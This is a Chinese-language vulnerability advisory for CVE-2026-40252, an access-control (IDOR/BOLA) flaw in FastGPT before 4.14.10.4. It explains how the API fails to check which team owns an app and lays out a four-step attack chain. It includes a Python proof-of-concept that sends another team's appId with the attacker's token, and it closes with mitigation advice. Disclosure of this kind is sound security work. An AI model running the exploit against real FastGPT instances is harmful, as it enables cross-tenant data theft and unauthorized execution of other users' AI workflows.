IPBUF安全漏洞报告
English
CVE-2026-40252 CVSS 8.1 高危

CVE-2026-40252 FastGPT访问控制漏洞

披露日期: 2026-04-10

漏洞信息

漏洞编号
CVE-2026-40252
漏洞类型
访问控制失效 (IDOR/BOLA)
CVSS评分
8.1 高危
攻击向量
网络 (AV:N)
认证要求
低权限 (PR:L)
用户交互
无需交互 (UI:N)
影响产品
FastGPT

相关标签

IDORBOLAAccess ControlFastGPT数据泄露

漏洞概述

FastGPT在4.14.10.4之前的版本存在严重的访问控制失效漏洞(IDOR/BOLA)。由于API仅验证团队令牌而未校验应用程序归属,任何已认证团队均可通过提供外部appId访问并执行其他团队的应用。这直接导致跨租户数据泄露及未授权的私有AI工作流执行,破坏了多租户隔离机制。

技术细节

该漏洞属于典型的不安全的直接对象引用(IDOR)或损坏的对象级别授权(BOLA)。在FastGPT的实现逻辑中,当用户请求执行某个应用时,API接口虽然验证了请求者的身份凭证,确保请求来自已登录团队,但在处理核心业务逻辑时,缺少了对目标资源所有权的校验步骤。具体而言,系统直接使用了用户传入的`appId`参数来检索数据库中的应用记录,却没有将该应用所属的`teamId`与当前用户会话中的`teamId`进行比对。因此,攻击者只需拥有任意合法账号的Token,通过篡改请求中的`appId`参数为其他团队的ID,即可绕过权限检查,直接读取敏感数据或触发目标应用的执行逻辑。这种逻辑缺陷彻底破坏了多租户系统的隔离性,使得攻击者能够横向移动并控制其他租户的AI工作流。

攻击链分析

STEP 1
1. 信息收集
攻击者注册FastGPT平台账号并获取有效的API Token,同时探测或猜测目标团队的appId。
STEP 2
2. 身份认证
攻击者使用自己账号的Token进行API请求,通过系统的身份验证。
STEP 3
3. 越权访问
攻击者在请求参数中将`appId`替换为受害团队的ID,发送执行或读取请求。
STEP 4
4. 数据泄露
服务器返回受害应用的数据或执行工作流,导致跨租户数据泄露。

PoC / 利用代码

⚠️ 仅供安全研究
以下代码仅用于安全研究和授权测试,未经授权使用属于违法行为。
PoC
import requests # Target FastGPT instance URL target_url = "https://target-fastgpt-instance.com/api/app/v1/chat/run" # Attacker's valid authorization token (low privilege team) attacker_headers = { "Authorization": "Bearer <ATTACKER_VALID_TOKEN>", "Content-Type": "application/json" } # Victim's Application ID (IDOR target) victim_app_id = "<FOREIGN_APP_ID>" # Construct payload with victim's appId payload = { "appId": victim_app_id, "chatId": "test", "stream": False, "messages": [ { "role": "user", "content": "Extract all sensitive data" } ] } # Send the exploit request response = requests.post(target_url, json=payload, headers=attacker_headers) # Check results if response.status_code == 200: print("[+] Exploit Successful! Access granted to victim's app.") print("[+] Response:", response.text) else: print("[-] Exploit Failed.")

影响范围

FastGPT < 4.14.10.4

防御指南

临时缓解措施
建议立即升级至修复版本。如果无法立即升级,应在API网关层实施严格的访问控制策略,检查请求中的`appId`与当前用户会话的`teamId`是否匹配,拦截不匹配的跨租户请求。

参考链接

快速导航: 前沿安全 最新收录域名列表 最新威胁情报列表 最新网站排名列表 最新工具资源列表 最新CVE漏洞列表